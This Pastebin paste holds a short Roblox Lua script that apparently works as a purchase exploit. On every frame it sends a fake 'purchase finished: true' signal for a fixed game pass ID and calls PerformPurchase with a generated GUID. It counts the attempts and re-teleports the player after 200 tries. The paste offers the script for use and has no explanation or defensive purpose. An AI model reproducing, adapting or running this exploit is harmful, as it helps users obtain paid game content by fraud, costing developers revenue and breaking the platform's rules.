Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local tries = 0
- local gamePassId = 5123096
- local market = game:GetService("MarketplaceService")
- local http = game:GetService("HttpService")
- local info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
- spawn(function()
- while true do
- wait()
- if tries >= 200 then
- game:GetService('TeleportService'):Teleport(game.PlaceId)
- end
- end
- end)
- game:GetService("RunService").Stepped:connect(function()
- tries = tries+1
- market:SignalPromptGamePassPurchaseFinished(game:GetService("Players").LocalPlayer, gamePassId, true)
- market:PerformPurchase(Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement